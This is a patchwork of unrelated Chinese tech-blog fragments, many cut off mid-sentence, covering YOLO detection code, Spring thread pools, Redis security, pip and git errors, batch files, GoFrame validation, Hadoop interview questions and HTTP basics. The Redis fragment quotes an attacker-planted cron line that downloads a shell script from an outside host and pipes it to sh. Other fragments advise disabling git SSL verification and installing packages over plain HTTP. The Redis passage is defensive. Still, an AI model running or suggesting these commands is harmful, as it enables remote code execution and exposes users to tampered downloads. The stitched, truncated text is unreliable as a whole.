labels = [] #这里是画检测框的代码 for *xyxy, conf, cls in det: label = '%s %.2f' % (names[int(cls)], conf) #统计当前图片检测出来的label数量 labels.append(label) plot_one_box(xyxy, im0, label=label, color=colors[int(cls)], line_thickness=3) #获取txt路径 txt_path = p.replace('images', 'labels').replace('jpg', 'txt') #获取ground truth的数量 with open(txt_path, 'r') as f: num = f.readlines() #保存漏检的图片 if len(num) > len(labels): cv2.imwrite(save_path, im0) else: pass 到这里 我们已经获取了标注好的但是有漏检的图片,下一步,用另一个颜色在图上画上ground truth
#先保存一个上述图片路径的txt文件 with open('img.txt','w') as f: for dir in os.listdir(img_path): pic_name = img_path + dir + '\n' f.
当我们需要实现并发、异步等操作时,通常都会使用到ThreadPoolTaskExecutor ThreadPoolTaskExecutor是spring core包中的,而ThreadPoolExecutor是JDK中的JUC。ThreadPoolTaskExecutor是对ThreadPoolExecutor进行了封装处理。
自己在之前写多线程代码的时候都是这么玩的executor=Executors.newCachedThreadPool();但是有一次在大量数据的时候由于入库速度远大于出库速度导致内存急剧膨胀最后悲剧了重写代码,原来spring 早就给我们做好封装了。
祖类都是调用Executor接口
ThreadPoolTaskExecutor通常通过XML方式配置,或者通过Executors的工厂方法进行配置
配置文件spring-thread.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.springframework.org/schema/beans" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="threadPoolTaskExecutor" class="org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor" lazy-init="false"> <!-- 线程池维护线程的最少数量 --> <property name="corePoolSize" value="32"/> <!-- 允许的空闲时间 --> <property name="keepAliveSeconds" value="180"/> <!-- 线程池维护线程的最大数量 --> <property name="maxPoolSize" value="64"/> <!-- 缓存队列 --> <property name="queueCapacity" value="2048"/> <!-- 不允许回收核心线程 --> <property name="allowCoreThreadTimeOut" value="false"/> <!-- 线程组名 --> <property name="threadGroupName" value="xiao-zhen-group-name"/> <!-- 对拒绝task的处理策略 --> <property name="rejectedExecutionHandler"> <bean class="java.util.concurrent.ThreadPoolExecutor$CallerRunsPolicy"/> </property> </bean> </beans> java代码 /** * * 业务代码提交类 */ @Autowired private ThreadPoolExecutorService threadPoolExecutorService ; // 提交线程任务,传具体实现类,构造器参数自己定义 threadPoolExecutorService.
文章目录 一、为什么会被攻击二、认证机制三、设置密码 一、为什么会被攻击 虽然Redis是有安全模式的,但是默认Redis没有开启密码验证,Redis被设计成仅有可信环境下的可信用户才可以访问。为了方便,在测试时直接将redis配置文件中的bind 127.0.0.1给注释掉了,并且关闭了防火墙,导致redis实例会监听所有的连接,从而被攻击。如果灭有设置密码(或很简单)就很容易会被攻击到,导致数据丢失(一个FLUSHALL命令就会清空Redis的所有数据),被植入其他内容。
举个例子:我的被攻击后写入了一些其他内容如下:
查询一下某一个键的内容为如下形式:(不是很懂,应该被植入了一些脚本文件)
"\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t" 二、认证机制 Redis提供了一个轻量级的认证方式,设置后,每一个连接在操作数据之前需要进行认证,密码由管理员在redis.conf的配置文件中明文设置,因为redis访问非常快,为了安全,密码一般较长且复杂,来防止暴力攻击。详细参考:Redis安全性
三、设置密码 常用命令:
config get requirepass # 查询获取当前密码 config set requirepass 123456 # 将redis的密码设置为123456 auth 123456 # 进入redis之后,在执行命令之前需要通过此方式输入密码来验证 设置流程如下:
关于作者:
个人网站:http://beyonderwei.com
邮箱:beyonderwei@gmail.com
python安装pandas报错 python安装pandas时报错,报错信息为: ERROR: Could not find a version that satisfies the requirement pandas (from versions: none);ERROR: No matching distribution found for pandas
原因:
电脑里面同时存在着两个版本,python2以及python3,在安装pandas时无法找到对应的版本
解决办法:指定版本号
py -2 -m pip install pandas或
py -3 -m pip install pandas
由于我经常使用的是3,所以我所输入的是py -3 -m pip install pandas
但是不知道为什么这个会报错,报错信息还是无法找到版本
于是我输入了下面的语句:
py -3 -m pip install pandas -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
结果安装成功,如图所示:
操作步骤:打开cmd,输入py -3 -m pip install pandas -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com即可。
原因 这是由于当你通过HTTPS访问Git远程仓库的时候,如果服务器上的SSL证书未经过第三方机构认证,git就会报错。因为未知的没有签署过的证书意味着可能存在很大的风险
解决办法 设置关闭SSL验证
env GIT_SSL_NO_VERIFY=true git clone 克隆链接 进入到上述仓库目录下执行命令: git config http.sslVerify false,以便执行其它命令时不报上述错误
命令相关说明 git config --global http.sslverify false , 命令的影响范围是系统当前用户
git config --system http.sslverify false ,命令的影响范围是全局所有用户
git config http.sslverify false ,命令影响范围仅针对当前仓库,需要在对应仓库目录下执行:
如果是TortoiseGit TortoiseGit -> Setting --> Edit global .gitconfig
添加配置:
[http] sslVerify = false 以下是MardDown使用语法 可忽略 功能快捷键 撤销:Ctrl/Command + Z
重做:Ctrl/Command + Y
加粗:Ctrl/Command + B
斜体:Ctrl/Command + I
标题:Ctrl/Command + Shift + H
无序列表:Ctrl/Command + Shift + U
决策树分类算法: https://www.cnblogs.com/myshuzhimei/p/11724113.html
决策树的基本结构及三个终止条件:https://www.jianshu.com/p/d153130b813f
概述: Jackson 对 java.util.Date 的默认序列化是时间戳。我们可以通过ObjectMapper提供的setDateFormat方法去改变其对 java.util.Date 的序列化格式。
public ObjectMapper setDateFormat(DateFormat dateFormat) { this._deserializationConfig = (DeserializationConfig)this._deserializationConfig.with(dateFormat); this._serializationConfig = this._serializationConfig.with(dateFormat); return this; } 代码示例: import com.fasterxml.jackson.annotation.JsonInclude; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; public class JacksonTest { private final static ObjectMapper objectMapper = new ObjectMapper(); static { objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); DateFormat df = new SimpleDateFormat("yyyy-MM-dd"); objectMapper.setDateFormat(df); } public static void main(String[] args) throws JsonProcessingException { serialize(); } public static void serialize() throws JsonProcessingException { Calendar calendar = Calendar.
摘自:https://blog.csdn.net/weixin_42046883/article/details/84112890
ST-LINK 到 SWD接线图 天上任间 2018-11-16 00:00:36 22087 收藏 35 分类专栏: STM32相关
版权
1、ST-LINK的外形图如下图所示:
2、接口引脚顺序定义如下图所示,注意缺口位置。
3、具体引脚定义如下图所示。
4、ST-LINK 的 SWD接线
SWD接口一般4个引脚,分别为:电源正、TCK、TMS、电源负
电源正—JTAG的1引脚
TMS—JTAG的7引脚
TCK—JTAG的引脚
电源负—JTAG的标有GND的引脚
今天在执行一个项目忽然之间,连接数据库出现错误。不知道什么原因。然后在navicat上连接出现 1129错误。除了我自己的电脑外,其他电脑都没有问题。所以我怀疑数据库服务器把我的ip地址禁止使用了。
网上的分析是:
同一个ip在短时间内产生太多(超过mysql数据库max_connection_errors的最大值)中断的数据库连接而导致的阻塞;
解决方法:
指标不治本,至少可以使用。
1:提高允许的max_connection_errors数量(治标不治本):
① 进入Mysql数据库查看max_connection_errors:show variables like '%max_connect_errors%';
② 修改max_connection_errors的数量为1000: set global max_connect_errors = 1000;
③ 查看是否修改成功:show variables like '%max_connection_errors%';
2:当然还要另外一种方法,需要在数据库服务器层面上修改。
使用mysqladmin flush-hosts 命令清理一下hosts文件:
执行:mysqladmin flush-hosts -h 127.0.0.1 -u[用户名] -p命令
然后输入密码。
执行flash需要reload权限。
运行 bat 带参数 引用变量用%var%,调用程序外部参数用%1 至%9 等等
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %为命令行传递给批处理的参数
%0 批处理文件本身,包括完整的路径和扩展名
%1 第一个参数
%9 第九个参数
% 从第一个参数开始的所有参数
参数%0 具有特殊的功能,可以调用批处理自身,以达到批处理本身循环的目的,也可以复制文件自身等
最多9个参数 Test.bat
@echo off ECHO %~0 ECHO %~1 ECHO %~2 ECHO %~3 ECHO %~4 ECHO %~5 ECHO %~6 ECHO %~7 ECHO %~8 ECHO %~9 ECHO %~10 ECHO %~11 ECHO %~12 ECHO %~13 ECHO %~14 输出所有参数,除参数0 @echo off ECHO %~0 ECHO %~1 ECHO %~2 ECHO %~3 ECHO %~4 ECHO %~5 ECHO %~6 ECHO %~7 ECHO %~8 ECHO %~9 ECHO %* SHIFT 参数位置 @echo off ECHO %~1 SHIFT /1 ECHO %~1 SHIFT /1 ECHO %~1 ECHO %*
GoFrame——数据校验之结构体校验 GoFrame中gvalid模块实现了非常强大的数据校验功能,内置了40种常用的校验规则,支持单数据多规则校验、多数据多规则批量校验、自定义错误信息、自定义正则校验、自定义校验规则注册、支持struct tag规则及提示信息绑定等特性,是目前功能最强大的Go数据校验模块。
目前我是使用gin来做路由部分,gin框架可以使用github.com/go-playground/validator进行参数校验,目前已经支持github.com/go-playground/validator/v10了。但是我在使用其时发现需要配置很多,大体如:
需配置翻译,默认校验是英文返回;而且有时候需要自定义翻译的内容,得封装一个函数,毕竟有些内容自动翻译过来,意思就差了点返回了json tag字段名,这些内容是不希望展示给前端的,又得封装一个处理函数返回了后端定义的结构体名称,这些内容也是不希望展示给前端的,又得封装一个处理函数当涉及到一些复杂的校验规则,比如re_password字段需要与password字段的值相等这样的校验规则,email字段需要符合邮箱格式。我们的自定义错误提示字段名称方法就不能很好解决错误提示信息中的其他字段名称了。如下:我只要密码校验,结果连邮箱校验也返回了 {"msg":{"email":"email必须是一个有效的邮箱","re_password":"re_password必须等于Password"}} 总之,业务复杂后,需要再封装校验的方法,越写越长,越来越多额外代码。还不如刚开始就使用最基础的if判断来的快。
于是开始使用GoFrame的校验库,简直太方便了,以下为使用教程。
导入 import "github.com/gogf/gf/util/gvalid" 内置40种常用的校验规则:校验规则
并且支持自定义校验错误和自定义校验规则
示例 定义结构体 // SignUpParam 用户注册参数 type SignUpParam struct { Username string `json:"username" form:"username" v:"username@required|length:6,30#请输入用户名|用户名长度应当在:min到:max之间"` // 用户名 Password string `json:"password" form:"password" v:"password@required|length:6,16#请输入密码|密码长度应当在:min到:max之间"` // 密码 RePassword string `json:"rePassword" form:"rePassword" v:"rePassword@required|same:password#请输入密码|两次密码不一致,请重新输入"` // 重复密码 Nickname string `json:"nickname" form:"nickname" v:"nickname@required#请输入中文名"` // 中文名 Email string `json:"email" form:"email" v:"email@required|email#请输入邮箱|邮箱不合法"` // 邮箱 } 以username的校验定义为例:
v:"username@required|length:6,30#请输入用户名|用户名长度应当在:min到:max之间"
一个一个看:
v 标签 v 为校验标签,类似gin中的binding
username@required|length:6,30 username 为属性别名,非必需参数,这里别名我写的和字段名一样,你可以自定义@ 分隔符,表示之后开始是校验规则,required第一个校验规则,表示必填字段,不能为空| 分隔符,多个校验规则分隔开,提示内容分隔也用它length:6,30 第二个校验规则,表示内容长度 #请输入用户名|用户名长度应当在:min到:max之间"
一、题目
编写一个学生类Student,属性包括:学号、姓名、年龄和成绩,数据由键盘进行输入且数据自拟,实现如下操作:
1、所有属性的getter和setter方法以及类的有参和无参构造方法;
2、将所有输入的学生信息打印出来;
3、可以通过学号查找学生信息;
4、显示成绩最高和成绩最低的学生信息;
5、对学生成绩进行升序和降序排列;
6、将所有学生年龄增加一岁;
7、显示所有年龄大于20岁的学生信息。
二、实验代码
package fighting; import java.util.Scanner; public class fighting { public static class Student{ //以public class开头的内部类为动态的,而主程序以public static class开头 //在java中,类中的静态方法不能直接调用动态方法,只有将某个内部类修饰为静态类,能够在静态类中调用该类的成员变量与成员方法。即此处应改为public static class Student int num;//学号 String name;//姓名 int age;//年龄 int score;//成绩 public Student()//空参构造 { super(); } public Student(int num,String name,int age,int score) //有参构造 { this.num=num; this.name=name; this.age=age; this.score=score; } //各属性的getter和setter方法 public int getNum() { return num; } public void setNum(int num) { this.
1. Excel2003与Excel2007 两个版本的最大行数和列数不同,2003版最大行数是65536行,最大列数是256列,2007版及以后的版本最大行数是1048576行,最大列数是16384列。
excel2003是以二进制的方式存储,这种格式不易被其他软件读取使用;而excel2007采用了基于XML的ooxml开放文档标准,ooxml使用XML和ZIP技术结合进行文件存储,XML是一个基于文本的格式,而且ZIP容器支持内容的压缩,所以其一大优势是可以大大减小文件的尺寸。
2. 大批量数据读写 2.1 大批量数据写入 对于大数据的Xlsx文件的写入,POI3.8提供了SXSSFSXSSFWorkbook类,采用缓存方式进行大批量写文件。
详情可以查看poi官网示例:http://poi.apache.org/spreadsheet/how-to.html#sxssf 或 http://blog.csdn.net/daiyutage/article/details/53010491
2.2 大批量数据读取 POI读取Excel有两种模式,一种是用户模式,一种是SAX事件驱动模式,将xlsx格式的文档转换成CSV格式后进行读取。用户模式API接口丰富,使用POI的API可以很容易读取Excel,但用户模式消耗的内存很大,当遇到很大sheet、大数据网格,假空行、公式等问题时,很容易导致内存溢出。POI官方推荐解决内存溢出的方式使用CVS格式解析,即SAX事件驱动模式。下面主要是讲解如何读取大批量数据:
2.2.1 pom.xml所需jar包 1 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 2 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> 3 <modelVersion>4.0.0</modelVersion> 4 <groupId>POIExcel</groupId> 5 <artifactId>POIExcel</artifactId> 6 <packaging>war</packaging> 7 <version>1.0-SNAPSHOT</version> 8 <name>POIExcel Maven Webapp</name> 9 <url>http://maven.apache.org</url> 10 <dependencies> 11 <dependency> 12 <groupId>junit</groupId> 13 <artifactId>junit</artifactId> 14 <version>3.8.1</version> 15 <scope>test</scope> 16 </dependency> 17 18 <dependency> 19 <groupId>org.apache.poi</groupId> 20 <artifactId>poi</artifactId> 21 <version>3.17</version> 22 </dependency> 23 24 <dependency> 25 <groupId>org.
#查看开机自启
systemctl list-unit-files | grep gitlab gitlab-runsvdir.service enabled #删除
systemctl disable gitlab-runsvdir.service Removed symlink /etc/systemd/system/multi-user.target.wants/gitlab-runsvdir.service. #添加
systemctl enable gitlab-runsvdir.service Created symlink from /etc/systemd/system/multi-user.target.wants/gitlab-runsvdir.service to /usr/lib/systemd/system/gitlab-runsvdir.service
解决pyuic5: error: no such option: -m 参数设置问题,将参数修改为:
$FileName$ -o $FileNameWithoutExtension$.py
文章目录 1.简述2. cluster 级别的shard allocation 相关的设置1. shard allocation 相关设置1. cluster.routing.allocation.enable2. cluster.routing.allocation.node_concurrent_incoming_recoveries3. cluster.routing.allocation.node_concurrent_outgoing_recoveries4. cluster.routing.allocation.node_concurrent_recoveries5. cluster.routing.allocation.node_initial_primaries_recoveries6. cluster.routing.allocation.same_shard.host 2. shard rebalance相关设置1. cluster.routing.rebalance.enable2. cluster.routing.allocation.allow_rebalance3. cluster.routing.allocation.cluster_concurrent_rebalance 3. shard balancing 的因子设置1. cluster.routing.allocation.balance.shard2. cluster.routing.allocation.balance.index3. cluster.routing.allocation.balance.threshold 4. allocation和rebalance的区别和联系 3. 基于磁盘的shard allocation限制1. cluster.routing.allocation.disk.threshold_enabled2. cluster.routing.allocation.disk.watermark.low3. cluster.routing.allocation.disk.watermark.high4. cluster.routing.allocation.disk.watermark.flood_stage5. cluster.info.update.interval6. cluster.routing.allocation.disk.include_relocations7. 一个使用样例 4. 通过属性配置设置,达到allocation 分配时对node的感知1. 开启集群allocation 感知2. 强制感知是什么呢 5. cluster级别的shard allocation filter 设置1. include2. require3. exclude4. 也可以使用正则来进行配置 1.简述 这里主要是学习master对shard的管理,master决定了一个shard需要被分配到哪个node上面,以及什么时候在cluster中的node之间移动shard来reblace整个cluster
2. cluster 级别的shard allocation 相关的设置 shard alloction 是在某个node上创建某个shard的过程。这个过程会发生在initial recovery, replica allocation, rebalancing, 或者node add或remove的时候
u盘文件丢失原因很多,但是如果我们没有做好备份工作那是不是文件就真的没了呢?其实还是有找回文件的余地,u启动下面就教您u盘文件丢失如何恢复。
1、在桌面上新建一个记事本,并输入以下代码:
@echo off attrib -s -h -r -a /s /d
2、点击记事本左上角“文件--另存为”,如图:
3、把“另存为”的文件修改名称为“u盘文件恢复.bat”,保存类型为“所有文件”,点击“保存”,如图:
4、将该“u盘文件恢复.bat”文件剪切到u盘中并双击运行,之后你就会发现消失的文件会重新出现在u盘中。
有些情况是小伙伴们使用杀毒工具杀毒才导致的u盘文件丢失,针对这种情形也是可以使用上述方法找回丢失的文件。
为什么训练数据不平衡时会出现问题? 数据不平衡问题主要存在于有监督机器学习任务中。当遇到不平衡数据时,以总体分类准确率为学习目标的传统分类算法会过多地关注多数类,从而使得少数类样本的分类性能下降,所以绝大多数常见的机器学习算法对于不平衡数据集都不能很好地工作。
总结来说,出现样本不平衡问题的本质原因是模型在训练时优化的目标函数和在测试时使用的评价标准不一致。这种“不一致”可能是由于:
1、 训练数据的样本分布与测试时期望的不一样。
例如,训练时优化的是整个训练集(正负样本比例可能是1:99)的正确率,而测试时可能想要模型在正样本和负样本上的平均正确率尽可能大(实际上期望正负样本比例是1:1)。
2、 训练阶段不同类别的权重与测试阶段不一致。
例如,训练时认为所有样本的贡献是相等的,而测试时假阳性样本和假阴性样本有着不同的代价。
样本不平衡的处理方式 一般可以从以下角度来处理样本不平衡问题:数据采样、算法模型。
A. 数据采样 采样分为过采样和欠采样,过采样是把小众类复制多份,欠采样是从大众类中剔除一些样本,或者说只从大众类中选取部分样本。
1.欠采样 1.1 随机欠采样 欠采样是从多数类样本中随机选择(有放回或无放回)少量样本,再合并原有少数类样本作为新的训练数据集。
通过设置RandomUnderSampler中的replacement=True参数, 可以实现自助法(boostrap)抽样。
优点:
平衡数据的同时减小了数据量,可加速训练,尤其是当样本集规模很大的时候。 缺点:
数据减少会影响模型的特征学习能力和泛化能力:丢弃一些样本,可能会损失部分有用的信息,造成模型只学到了整体模式的一部分。 1.2 Informed Undersampling 对于欠采样,可以采用 Informed Undersampling 来解决由于随机欠采样带来的数据丢失问题。常见的Informed Undersampling 算法有:Easy Ensemble、Balanced Cascade、NearMiss、One-sided Selection等算法。
1.2-1 Easy Ensemble 基本思想是:每次从多数类样本 S m a x S_{max} Smax 中随机抽取一个子集 E E E( ∣ E ∣ = ∣ S m i n ∣ |E|=|S_{min}| ∣E∣=∣Smin∣),然后用数据集 E + S m i n E+S_{min} E+Smin 训练一个分类器。重复上述过程若干次,得到多个分类器,最终分类结果是这几个分类器的融合。
第一章 快速上手 :基础知识 1.3 x%y=x-((x//y)*y) 注意求余运算符 向下圆整,如果是负数,则更远离0
10//3 10//-3 10%3 10%-3 十六进制:0x 八进制:0o 十进制:0b
0xAF=175 0o10=8 0b1011010010=722 1.6输入 input("The meaning of life:") x=input("x:") y=input("y:") print(int(x)*int(y)) 1.7函数 abs 为绝对值 round 为圆整到最近的整数
1.8模块 import为导入模块
math模块中 floor:小于或等于给数的最大整数
ceil:大于或等于给数的最小整数
用一次 from modole import function
from math import sqrt sqrt() 定义变量来应用函数
foo=math.sqrt foo(4) 1.81 cmath和复数 j 为虚数单位(即为i)
1.8.2回到未来 —future—
海龟绘图法 turtle.forward(100)
1.10.1单引号与双引号以及对引号转义 ''的意义和C中一样,转义字符
1.10.2拼接字符串 '+'可用于连接字符串
前言 文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。
作者:小白
PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http://t.cn/A6Zvjdun
什么是Anaconda?
Anaconda 是一个基于 Python 的数据处理和科学计算平台,它集成了1500+个免费且易于安装的模块,装上Anaconda,就相当于把 Python 和一些如 Numpy、Pandas、Scrip、Matplotlib 等常用的库自动安装好了,使得安装比常规 Python 安装要容易。
Anaconda还自带了Spyder、Jupyter Notebook等交互式代码撰写、调试工具环境,以及第三方库的图形化管理工具等。
为什么使用Anaconda呢?
Anaconda的优点总结起来就八个字:省时省心、分析利器。省时省心:Anaconda通过管理工具包、开发环境、Python版本,大大简化了你的工作流程。不仅可以方便地安装、更新、卸载工具包,而且安装时能自动安装相应的依赖包,同时还能使用不同的虚拟环境隔离不同要求的项目。分析利器:在 Anaconda 官网中是这么宣传自己的:适用于企业级大数据分析的Python工具。其包含了720多个数据科学相关的开源包,在数据可视化、机器学习、深度学习等多方面都有涉及。不仅可以做数据分析,甚至可以用在大数据和人工智能领域。
如何安装Anaconda呢?
现在以Windows10、64位系统为例进行介绍如何下载、安装。1.下载合适的 Windows安装包,推荐使用如下两种方式下载: a. 官网https://www.anaconda.com/distribution/#windows
b. 清华大学开源软件镜像站
https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/
注意这个页面包含了很多历史版本的安装包,并且时间不是完全按升序排列的,需要自己稍微找下最新版本的安装包。2.安装包STEP1:点击安装包进行安装,在弹出的第一个对话框"Welcome to Anaconda3 2019.10(64-bit) Setup"中,点击 'Next'。
STEP2:在"License Agreement"对话框,点击"I Agree"。
STEP3:在"Select Installation Type"对话框,选择"仅自己使用"还是"对所有用户均可使用".
STEP4:在"Choose Intall Location"对话框,设置软件的安装目录,可以使用默认目录,也可以更改指定目录。
STEP5:"Advanced Installation Options"选项1:是否将 Anaconda 添加到系统的 PATH 环境变量。
勾选后, 可在 Windows-cmd 命令行使用 Anaconda。如果没有勾选, 只能在电脑的开始菜单"Anaconda(64-bit)"中发现并使用Anaconda。
直接勾选即可。
"Advanced Installation Options"选项2:是否将 Anaconda 中的 Python 编译器设置为系统默认的 Python 编译器。如果设置, 此编译器可被VSC,PyCharm等软件检测并使用,直接勾选即可。
STEP6:点击 "
一.Hadoop
1.hdfs写流程
2.hdfs读流程
3.hdfs的体系结构
4.一个datanode 宕机,怎么一个流程恢复
5.hadoop 的 namenode 宕机,怎么解决
6.namenode对元数据的管理
7.元数据的checkpoint
8.yarn资源调度流程 9.hadoop中combiner和partition的作用
10.用mapreduce怎么处理数据倾斜问题?
11.shuffle 阶段,你怎么理解的
12.Mapreduce 的 map 数量 和 reduce 数量是由什么决定的 ,怎么配置
13.MapReduce优化经验
14.分别举例什么情况要使用 combiner,什么情况不使用?
15.MR运行流程解析
16.简单描述一下HDFS的系统架构,怎么保证数据安全?
17.在通过客户端向hdfs中写数据的时候,如果某一台机器宕机了,会怎么处理
18.Hadoop优化有哪些方面
19.大量数据求topN(写出mapreduce的实现思路)
20.列出正常工作的hadoop集群中hadoop都分别启动哪些进程以及他们的作用
21.Hadoop总job和Tasks之间的区别是什么?
22.Hadoop高可用HA模式
23.简要描述安装配置一个hadoop集群的步骤
24.fsimage和edit的区别
25.yarn的三大调度策略
26.hadoop的shell命令用的多吗?,说出一些常用的
二.Hive
1.大表join小表产生的问题,怎么解决?
2.udf udaf udtf区别
3.hive有哪些保存元数据的方式,个有什么特点。
4.hive内部表和外部表的区别
5.生产环境中为什么建议使用外部表?
6.insert into 和 override write区别?
7.hive的判断函数有哪些
8.简单描述一下HIVE的功能?用hive创建表几种方式?hive表有几种?
9.线上业务每天产生的业务日志(压缩后>=3G),每天需要加载到hive的log表中,将每天产生的业务日志在压缩之后load到hive的log表时,最好使用的压缩算法是哪个,并说明其原因
10.若在hive中建立分区仍不能优化查询效率,建表时如何优化
11.union all和union的区别
12.如何解决hive数据倾斜的问题
13.hive性能优化常用的方法
14.简述delete,drop,truncate的区别
15.四个by的区别
16.Hive 里边字段的分隔符用的什么?为什么用\t?有遇到过字段里 边有\t 的情况吗,怎么处理的?为什么不用 Hive 默认的分隔符,默认的分隔符是什么?
文章目录 1. 过期时间的存储源码分析 2. 数据的淘汰2.1 主动删除2.1.1 命令执行前触发2.1.2 命令执行时触发 2.2 定期删除 1. 过期时间的存储 在 redisDb 数据结构 一节中已经提到过,redis 数据库中有一个专门的 expires 字典用于存储显式设置了过期时间的数据(如 SETEX 命令设置的数据)。本节以 SETEX 命令为例,依据源码分析过期时间的设置过程
typedef struct redisDb { dict *dict; /* The keyspace for this DB */ dict *expires; /* Timeout of keys with a timeout set */ dict *blocking_keys; /* Keys with clients waiting for data (BLPOP)*/ dict *ready_keys; /* Blocked keys that received a PUSH */ dict *watched_keys; /* WATCHED keys for MULTI/EXEC CAS */ int id; /* Database ID */ long long avg_ttl; /* Average TTL, just for stats */ unsigned long expires_cursor; /* Cursor of the active expire cycle.
大家在使用手机的过程中会不会有这样的体验,用了一段时间后,听筒的声音越来越小了,时不时还有杂音,听不清楚,那这很可能是你的听筒孔被堵住了哦!手机听筒防尘网由于裸露在外面,防尘网上小孔难免会进灰尘、异物、油污,没有及时清理掉的话会导致堵孔。今天成都苹果维修点就来教你几个小窍门。
出现堵孔的情况时,排查清理的步骤
1.请确认音量调到足够大。
2.请检查听筒防尘网是否有无灰尘、异物、油污堵住。
清理iPhone手机听筒的小窍门
1.可以使用透明胶或者双面胶,将这些胶带剪成细条条,在手机听筒或者一些夹缝中慢慢粘一遍就可以了。如果灰尘比较难清理,可以使用牙签小心的将胶带戳进听筒,尽可能接触听筒部分进行清理。
2.也可以使用软毛刷进行清理,在使用软毛刷的过程中要格外注意。首先毛刷不能太硬了,其次在使用的过程中不能太用力。
3.需要注意的是,不论使用什么方法都要小心一些,不要使用针尖,牙签等尖锐的物体去直接清理,不仅会有可能导致灰尘越清理越靠里,也有可能将手机的缝隙撑大。
4.虽然清理的方法比较多,但有些会直接导致手机的内部零件损害。所以还是建议如果听筒的灰尘不易去除,可以送去附近的苹果官方售后维修中心,让专业的工程师为你解决这个小难题。
以上就是iPhone手机听筒声音小、有杂音?成都苹果维修点教你轻松解决的全部内容,小伙伴们学会了吗?更多维修资讯,手机使用技巧,故障处理方法欢迎关注小编,方便后期维护!
一、前言 代码耗时统计在日常开发中算是一个十分常见的需求,特别是在需要找出代码性能瓶颈时。
可能也是受限于 Java 的语言特性,总觉得代码写起来不够优雅,大量的耗时统计代码,干扰了业务逻辑。特别是开发功能的时候,有个感受就是刚刚开发完代码很清爽优雅,结果加了一大堆辅助代码后,整个代码就变得臃肿了,自己看着都挺难受。因此总想着能不能把这块写的更优雅一点,今天本文就尝试探讨下“代码耗时统计”这一块。
在开始正文前,先说下前提,“代码耗时统计”的并不是某个方法的耗时,而是任意代码段之间的耗时。这个代码段,可能是一个方法中的几行代码,也有可能是从这个方法的某一行到另一个被调用方法的某一行,因此通过 AOP 方式是不能实现这个需求的。
二、常规方法 2.1 时间差统计 这种方式是最简单的方法,记录下开始时间,再记录下结束时间,计算时间差即可。
public class TimeDiffTest { public static void main(String[] args) throws InterruptedException { final long startMs = TimeUtils.nowMs(); TimeUnit.SECONDS.sleep(5); // 模拟业务代码 System.out.println("timeCost: " + TimeUtils.diffMs(startMs)); } } /* output: timeCost: 5005 */ public class TimeUtils { /** * @return 当前毫秒数 */ public static long nowMs() { return System.currentTimeMillis(); } /** * 当前毫秒与起始毫秒差 * @param startMillis 开始纳秒数 * @return 时间差 */ public static long diffMs(long startMillis) { return diffMs(startMillis, nowMs()); } } 这种方式的优点是实现简单,利于理解;缺点就是对代码的侵入性较大,看着很傻瓜,不优雅。
RedisCluster 总共八个节点,主从各四个,端口为7001–7008
集群创建命令如下
./redis-cli --cluster create 47.94.80.41:7001 47.94.80.41:7002 47.94.80.41:7003 47.94.80.41:7004 47.94.80.41:7005 47.94.80.41:7006 47.94.80.41:7007 47.94.80.41:7008 --cluster-replicas 1 添加成功后会在每个节点下生成一个节点配置文件nodes.conf,7001节点如下
a32685e732726e19726750e73ac701f2c1a5c633 172.17.88.176:7001@17001 myself,master - 0 1603443306000 1 connected 333-5460 1600191ac47472b4d154025ab3ee388c8730c9e1 47.94.80.41:7008@17008 slave c722d4c0a7a10178322dfb52b0c56dbe2e3ae671 0 1603443310208 7 connected e0850c61610ee4986e05ff17eac65bf8e77e5008 47.94.80.41:7004@17004 slave a32685e732726e19726750e73ac701f2c1a5c633 0 1603443310003 4 connected aed092db54171729cc0c739e913339d4b0af3e2c 47.94.80.41:7003@17003 master - 0 1603443310000 3 connected 11256-16383 8a67079c69c720bc3b6c2e875cc38d1299394a77 47.94.80.41:7002@17002 master - 0 1603443310000 2 connected 5795-10922 dcfcb437f2d306588c208bd405c6819866736050 47.94.80.41:7006@17006 slave aed092db54171729cc0c739e913339d4b0af3e2c 0 1603443310000 6 connected c722d4c0a7a10178322dfb52b0c56dbe2e3ae671 47.
前言: 作者:CodeCow · 阿牛,微信搜索公众号 “CodeCow ”,我们一起干“java”
正文: 1、网络编程首先要解决什么问题? (1)如何准确的定位网络上的一台或者多台主机
(2)找到主机后如何可靠的进行有效的数据传输
2、分别说说OSI/RM模型和TCP/IP模型分别指的什么? OSI/RM模型指:
物理层、数据链路层、网络层、传输层、会话层、表示层、应用层
TCP/IP模型指:
网络接口层、网络层、传输层、应用层
3、说说OSI/RM各层使用的协议是什么? (1)应用层:HTTP-超文本传输协议
(2)传输层:TCP、UDP协议
TCP:面向连接的可靠的协议,比UDP多了一个建立连接的时间 UDP:无连接不可靠协议,有大小限制,64KB以内,传输效率高 4、Http是有状态还是无状态的协议 ? Http是一个基于请求/响应模式的,无状态的协议
5、Http请求由什么组成 ? 请求头,消息报头,请求正文
6、Http请求方法有哪几种 ?有什么区别? 2种;
GET、POST
区别:
GET请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL和传输数据,参数之间以&相连;POST 把提交的数据则放置在是HTTP包的包体中
example:login.action?name=zhagnsan&password=123456POST的安全性要比GET的安全性高。Get 是向服务器发索取数据的一种请求,而Post是向服务器提交数据的一种请求,在FORM(表单)中,Method默认为"GET",实质上GET和POST只是发送机制不同,并不是一个取一个发。 7、Http响应由什么组成 ? 状态行,消息报头,响应正文
8、Http中重定向和请求转发的区别 ? (1)重定向是客户端行为,请求转发是服务端行为
